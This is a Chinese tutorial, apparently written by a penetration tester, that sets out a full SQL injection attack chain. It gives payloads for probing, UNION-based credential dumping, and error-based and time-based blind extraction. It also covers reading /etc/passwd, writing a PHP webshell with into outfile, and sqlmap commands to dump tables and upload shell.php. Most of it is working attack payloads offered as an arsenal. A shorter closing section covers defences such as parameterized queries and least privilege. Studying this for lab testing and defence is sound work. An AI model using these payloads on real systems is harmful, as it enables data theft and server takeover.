SQL注入攻击链构建:从基础探测到高级利用的实战命令手册
2026/7/1 6:24:51 网站建设 项目流程

1. 项目概述:从“命令”到“武器库”的认知升级

提到SQL注入,很多刚入门安全测试的朋友第一反应就是去背一堆“命令”——比如union select 1,2,3,或者' and 1=1 --+。这没错,这些确实是核心的“弹药”。但如果你只把它们看作孤立的命令,那你的水平可能就永远停留在“脚本小子”的阶段了。我干了十多年渗透测试,见过太多人拿着网上抄来的payload一通乱试,成功了不知道为什么,失败了更不知道怎么办。

今天,我想跟你聊的“SQL注入常用命令详解”,绝不仅仅是罗列一堆语法。我的目标是帮你把这些零散的“命令”,组装成一套有逻辑、有层次、能应对各种复杂场景的“武器库”。你得理解每一条命令背后的意图:它是在探测什么?是在绕过什么?又是在提取什么信息?只有这样,当你在真实的黑盒测试中,面对一个陌生的输入点时,你才能像老手一样,快速在脑海中构建出攻击路径图,而不是机械地背诵。无论是DVWA、Pikachu这样的入门靶场,还是CTF中那些刁钻的字符型、报错型题目,甚至是像文章管理系统、avcon综合管理平台这类真实环境,其内核逻辑都是相通的。掌握了这套“武器思维”,你才能举一反三。

2. 核心思路拆解:构建你的注入攻击链

在真正敲下任何一条注入命令之前,脑子里必须有一条清晰的攻击链。这条链决定了你使用命令的顺序和方式,盲目乱试只会触发WAF或者被日志记录。

2.1 侦察与探测:判断注入点与类型

这是所有工作的起点。你的目标不是注入成功,而是“看清”目标。

核心命令与意图:

  • 基础探测'")。目的很简单,通过输入这些闭合字符,观察页面回显是否出现语法错误(如MySQL的You have an error in your SQL syntax)。一旦出现错误,基本可以确定存在注入点,并且错误信息有时会直接暴露部分SQL语句结构,这是黄金信息。
  • 逻辑测试and 1=1and 1=2。这是经典的布尔盲测。在疑似注入点后拼接这些条件。如果and 1=1时页面正常,and 1=2时页面异常(空白、错误、内容不同),那么这里就是一个可进行布尔逻辑判断的注入点。这招在无显错信息的盲注场景下是生命线。
  • 类型判断:通过?id=1?id=1'的对比,可以判断是数字型还是字符型。数字型通常1 and 1=1直接生效;字符型则需要考虑闭合,如1' and '1'='1

实操心得:别只用一种payload探测。一个点可能对'有过滤,但对"没有。现代应用常常有多处输入,URL参数、Cookie、User-Agent头、X-Forwarded-For头都可能是入口。用Burp Suite抓包,在每个可能的地方都试试。

2.2 信息收集:摸清数据库“家底”

确认注入点后,先别急着拖库。了解数据库的版本、用户、当前数据库名等信息至关重要,它直接决定你后续能用哪些高级攻击手法。

核心命令与意图(以MySQL为例):

  • 查询版本与用户union select 1, version(), user(), database() --+
    • version():知道版本号才能确定是否存在已知漏洞(如老版本的into outfile写shell漏洞),以及某些函数是否可用。
    • user():当前数据库用户权限。如果是root@localhost,那危害性极大;如果是普通用户,则需评估其权限。
    • database():当前使用的数据库名,是后续查表的前提。
  • 查询所有数据库名union select 1, schema_name from information_schema.schemata --+
    • information_schema.schemata:这是MySQL的信息数据库,存储了所有数据库的元数据。这一步让你看清服务器上有哪些“仓库”。

为什么是information_schema这是理解SQL注入的关键。在MySQL、MariaDB中,information_schema是一个系统数据库,它像一本“数据库的字典”,记录了所有其他数据库、表、列、权限的信息。攻击者无需知道具体应用表名,只需查询这个系统库,就能一步步推导出目标数据的位置。这是SQL注入自动化工具(如sqlmap)的理论基础。

2.3 数据提取:精准定位与获取

知道了数据库名,下一步就是找具体的“货架”(表)和“货物”(列)。

核心命令与意图:

  1. 查表union select 1, table_name from information_schema.tables where table_schema='目标库名' --+
    • information_schema.tables中筛选出属于目标数据库的所有表名。通常你需要寻找像adminuserpasswordcustomer这类敏感表。
  2. 查列union select 1, column_name from information_schema.columns where table_name='目标表名' and table_schema='目标库名' --+
    • 知道了表名,再从information_schema.columns中查这个表有哪些列。寻找usernamepasswdemailphone等字段。
  3. 拖数据union select 1, username, password from 目标库名.目标表名 --+
    • 最后一步,直接查询目标表的目标列,获取明文或哈希后的凭证数据。

参数计算与绕过:这里常遇到问题,就是union select前后查询的列数必须一致。你需要先用order by N来猜解列数。例如?id=1' order by 5 --+,如果页面正常,说明至少有5列;报错则少于5列。通过二分法(试3,试7…)快速确定列数。确定后,在union select后使用相同数量的列,并用数字1,2,3...null占位,在可回显的位置替换为你要查询的函数或列名。

2.4 高级利用与拓展

基础的数据提取只是开始,真正的“常用命令”还包括在各种限制下的突围技巧。

  • 报错注入:当页面没有正常回显,但会返回数据库错误信息时使用。利用像updatexml()extractvalue()floor(rand()*2)这类函数故意制造错误,并将查询结果带到错误信息中。例如:' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --+。这里的0x7e是波浪号~的十六进制,用于在错误信息中清晰分隔出我们注入的查询结果。
  • 布尔盲注:无任何回显,只有页面正常/异常两种状态。通过and length(database())>5and substr((select table_name from information_schema.tables limit 1),1,1)='a'这种逻辑判断,像猜密码一样一位位地猜解数据。这个过程极其繁琐,必须依赖脚本自动化。
  • 时间盲注:连布尔状态都没有,只能通过让数据库执行延时函数来判断。' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) --+。如果页面响应延迟了5秒,说明判断条件为真。这是最隐蔽但也最低效的方式。
  • 堆叠查询:利用;执行多条SQL语句。如?id=1'; update users set password='hacked' where id=1; --。但并非所有数据库驱动都支持,PHP+MySQL默认就不支持。
  • 文件读写:需要高权限(如FILE权限)。union select 1, load_file('/etc/passwd') --+读取服务器文件;union select 1, '<?php @eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php' --+写入Webshell。这是极具破坏性的操作。

3. 实战命令手册与场景化应用

下面我把这些命令按场景整理成表,并附上典型用例和绕过技巧。

3.1 探测与指纹识别命令集

命令/Payload主要目的预期响应(成功时)适用场景备注
'/"/)探测注入点,判断闭合方式数据库语法错误页面所有可疑输入点第一步必做,根据错误信息调整闭合
and 1=1/and 1=2布尔逻辑测试,确认注入1=1正常,1=2异常搜索框、筛选条件可用于数字/字符型(需闭合)
' and '1'='1字符型注入闭合测试页面正常显示URL参数、表单确保SQL语句逻辑完整
sleep(5)测试时间盲注可能性页面响应延迟约5秒无任何回显的盲注点可结合if条件使用
/*!50000select*/内联注释,绕过简单WAF被正常执行存在关键词过滤MySQL特有,!后跟版本号

场景示例(DVWA Low难度):假设URL为:/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

  1. 探测:访问...?id=1',页面报错,确认字符型注入,闭合符为单引号。
  2. 测列数:...?id=1' order by 2 -- &Submit=Submit,正常。order by 3报错,确认2列。
  3. 查信息:...?id=-1' union select version(), database() -- &Submit=Submit。这里id=-1是为了让前一个查询无结果,从而直接显示union后的结果。

3.2 信息收集与数据提取命令集

阶段核心查询语句(示例)关键函数/表说明输出目标
基础信息union select user(), version(), database()user():当前用户;version():数据库版本;database():当前库权限、版本、库名
数据库枚举union select 1, group_concat(schema_name) from information_schema.schematainformation_schema.schemata: 所有数据库;group_concat(): 合并多行服务器上所有数据库列表
表名枚举union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'information_schema.tables: 所有表;table_schema限定库指定库中的所有表名
列名枚举union select 1, group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'information_schema.columns: 所有列指定表的所有列名
数据提取union select user, password from dvwa.users直接查询目标表最终的敏感数据(如账号密码)

避坑技巧group_concat()有长度限制(默认1024字节)。如果表或列太多显示不全,可以用limit分片查询:... union select 1, table_name from information_schema.tables where table_schema='target_db' limit 0,1,一次查一个。

3.3 报错注入命令详解

报错注入的核心是故意制造一个数据库错误,并将子查询的结果“夹带”在错误信息中返回

常用函数及Payload构造:

  1. updatexml()函数

    • 语法UPDATEXML(XML_document, XPath_string, new_value)
    • 注入原理:第二个参数XPath_string需要是合法的XPath格式,否则会报错。我们将查询结果拼接进去,使其非法。
    • 经典Payload' and updatexml(1, concat(0x7e, (select user()), 0x7e), 1) --+
    • 解释concat(0x7e, (select user()), 0x7e)会将当前用户查询结果前后加上波浪号~,形成如~root@localhost~的字符串。这不是一个合法的XPath,所以数据库执行updatexml时会报错,错误信息中通常就包含了这个字符串,从而泄露了user()的结果。
    • 限制updatexml最多只能返回约32KB的数据,且一次只能显示一行的一部分(约几十个字符)。对于长数据需要配合substr()函数分段截取。
  2. extractvalue()函数

    • 语法EXTRACTVALUE(XML_document, XPath_string)
    • 原理:与updatexml类似,利用第二个参数非法引发报错。
    • 经典Payload' and extractvalue(1, concat(0x7e, (select database()))) --+
    • 特点:用法和限制与updatexml几乎完全相同,可以互为备选。
  3. floor()+rand()+group by主键重复错误

    • 经典Payload' and (select 1 from (select count(*), concat((select user()), floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+
    • 解释:这个Payload相对复杂。其核心是利用floor(rand(0)*2)group by分组时,因序列确定性导致的主键重复错误。错误信息中会包含concat内的查询结果。这是历史上非常经典的一种报错注入方式,但构造起来稍麻烦。
    • 优点:在某些updatexmlextractvalue不可用的场景下可能生效。

报错注入实战步骤:

  1. 确认报错点:输入一个单引号',观察页面是否返回详细的数据库错误(如MySQL的错误信息)。如果有,则适合报错注入。
  2. 构造Payload:选择上述一种函数,将你想要查询的信息(如select database())放入其中。
  3. 分段获取数据:由于长度限制,查询长数据(如表名列表)时,需要使用limitsubstr。例如,获取第一个表名的前10个字符:' and updatexml(1, concat(0x7e, substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,10), 0x7e),1) --+
  4. 循环遍历:通过脚本自动化修改limit的偏移量和substr的起始位置,即可完整拖出所有数据。

3.4 盲注:当一切回显都被关闭

盲注是SQL注入中最考验耐心和脚本能力的部分。它分为布尔盲注和时间盲注。

布尔盲注的核心逻辑:页面只有两种状态:正常(True)和异常(False)。我们通过注入and条件,像“问问题”一样让数据库回答“是”或“否”。

  • 猜解数据库名长度' and length(database())=4 --+。如果页面正常,说明库名长度是4。
  • 猜解数据库名每一位' and substr(database(),1,1)='a' --+。通过改变substr的位数和比较的字符,利用二分法(比较ASCII码)可以快速猜出。substr(database(),2,1)猜第二位,以此类推。
  • 猜解表名数量、表名' and (select count(table_name) from information_schema.tables where table_schema=database())=5 --+先猜表数量。然后' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u' --+猜第一个表的第一个字母。

这个过程极其繁琐,必须使用Python等脚本自动化。脚本会遍历所有可能的字符(通常是小写字母、数字、下划线),根据页面差异(可通过HTML长度、特定关键词是否存在来判断)来确定每一位字符。

时间盲注的核心逻辑:当页面无论对错都返回相同内容,连布尔状态都无法区分时,就用时间盲注。通过if(条件, sleep(5), 0),让数据库在条件为真时“睡一会儿”,从而通过响应时间来判断。

  • Payload示例' and if(ascii(substr(database(),1,1))>100, sleep(3), 0) --+
  • 解释:如果当前数据库名的第一个字符的ASCII码大于100,则页面响应会延迟至少3秒。通过不断调整比较的ASCII码值(二分法),可以确定该字符的准确值。

时间盲注的效率比布尔盲注更低,因为每次请求都要等待设定的睡眠时间。自动化脚本需要设置一个合理的超时阈值来判断“真”或“假”。

4. 工具化实战:以Sqlmap为例解析命令思维

理解了手工注入的原理,再看Sqlmap这样的自动化工具,你就会明白它只是在模拟我们上面的思维链。掌握它的核心参数,就是让你用工具的思路来巩固手工注入的理解。

Sqlmap常用命令场景解析:

  1. 基础探测

    sqlmap -u "http://target.com/page.php?id=1"

    工具会自动尝试各种闭合和探测技巧,相当于我们手工做的第一步。

  2. 指定参数与注入技术

    sqlmap -u "http://target.com/page.php?id=1" --technique=B

    --technique参数指定注入技术。B代表布尔盲注,E代表报错注入,U代表联合查询,S代表堆叠查询,T代表时间盲注。这对应了我们手工测试时对不同场景的判断。

  3. 获取信息

    sqlmap -u "http://target.com/page.php?id=1" --current-user --current-db --is-dba

    这对应了手工注入的union select user(), database()以及判断是否为DBA(管理员)权限。

  4. 枚举数据

    sqlmap -u "http://target.com/page.php?id=1" -D dvwa --tables sqlmap -u "http://target.com/page.php?id=1" -D dvwa -T users --columns sqlmap -u "http://target.com/page.php?id=1" -D dvwa -T users -C user,password --dump

    这一系列命令完美对应了手工注入中“查库 -> 查表 -> 查列 -> 拖数据”的完整链条。--dump还会尝试自动破解哈希值。

  5. 文件读写(需高权限)

    sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/path/shell.php" --file-dest="/var/www/html/shell.php"

    这对应了手工注入中的load_file()into outfile操作。

工具使用的注意事项:

  • 不要盲目跑全自动:先用--batch模式快速扫描,但关键步骤建议交互式进行,避免误操作。
  • 善用--level--risk:提高级别和风险值,会使用更多、更激进的payload进行测试,但也更容易触发WAF和日志。
  • 代理与延迟:使用--proxy设置代理便于调试;在时间盲注时使用--delay设置请求间隔,避免对目标造成过大压力或被封IP。
  • 理解输出:工具输出的每一个步骤,都对应着手工注入的一个环节。多看它的payload,是学习绕过技巧的好方法。

5. 防御视角与命令的“另一面”

作为一个负责任的安全从业者,了解攻击命令的最终目的,是为了更好地防御。从防御角度看,这些“常用命令”就是我们要重点过滤和监控的恶意输入模式。

基于命令特征的防御思路:

  1. 输入过滤与转义

    • 黑名单:过滤unionselectandor'"--#/**/sleepbenchmarkupdatexmlextractvalue等关键词和函数名。但黑名单很容易被绕过(如大小写、双写、内联注释/*!50000select*/)。
    • 白名单:对于数字型ID,严格限制输入为整数。对于有限选项(如分类),只允许预定值。这是最有效的方法。
    • 转义:对特殊字符进行转义,如将'转为\'。但需确保使用正确的数据库扩展函数(如mysqli_real_escape_string),并统一字符集,避免宽字节注入。
  2. 参数化查询(预编译语句)

    • 原理:这是根治SQL注入的终极手段。将SQL语句(SELECT * FROM users WHERE id = ?)与参数(1)分开发送给数据库。数据库会先将语句编译为执行计划,再将参数作为纯数据处理。此时,即使用户输入1' or '1'='1,也只会被当作一个完整的字符串参数,而不会被解析为SQL语法。
    • 命令示例(PHP PDO)
      $stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email AND status = :status"); $stmt->execute(['email' => $email, 'status' => $status]);
      在这个场景下,任何注入命令在$email$status变量中都失效了。
  3. 最小权限原则

    • 为Web应用连接数据库的账户分配最小必要权限。通常只需要SELECT权限,绝对不要给FILEDROPCREATEALTER等高危权限。这样即使注入成功,攻击者也无法进行写文件、删表等破坏性操作。
  4. 错误信息处理

    • 在生产环境中,禁止将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面。这能有效防范报错注入,并增加攻击者的信息收集难度。
  5. Web应用防火墙(WAF)

    • 部署WAF可以基于规则实时拦截常见的SQL注入攻击模式。但WAF不是银弹,可能存在绕过风险,应作为纵深防御的一环,而非唯一依赖。

从攻击命令反推防御检查清单:

  • 你的代码中是否存在直接拼接字符串的SQL语句?$sql = "SELECT * FROM users WHERE id = " . $_GET['id'];这是高危信号。
  • 数据库连接用户是否拥有rootDBA权限?立即降权。
  • 前端错误提示是否暴露了MySQLYou have an error等字样?立即关闭详细错误回显。
  • 是否对所有用户输入(包括HTTP头、Cookie)都进行了严格的校验或参数化处理?

理解攻击,是为了铸就更坚固的防御。当你再看到union selectupdatexml这些命令时,你脑子里应该同时浮现出两幅画面:一幅是作为攻击者,如何精巧地组装它们;另一幅是作为防御者,如何在代码层面、架构层面将它们彻底拒之门外。这才是“SQL注入常用命令”这个话题,所能带给你的最完整的价值。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询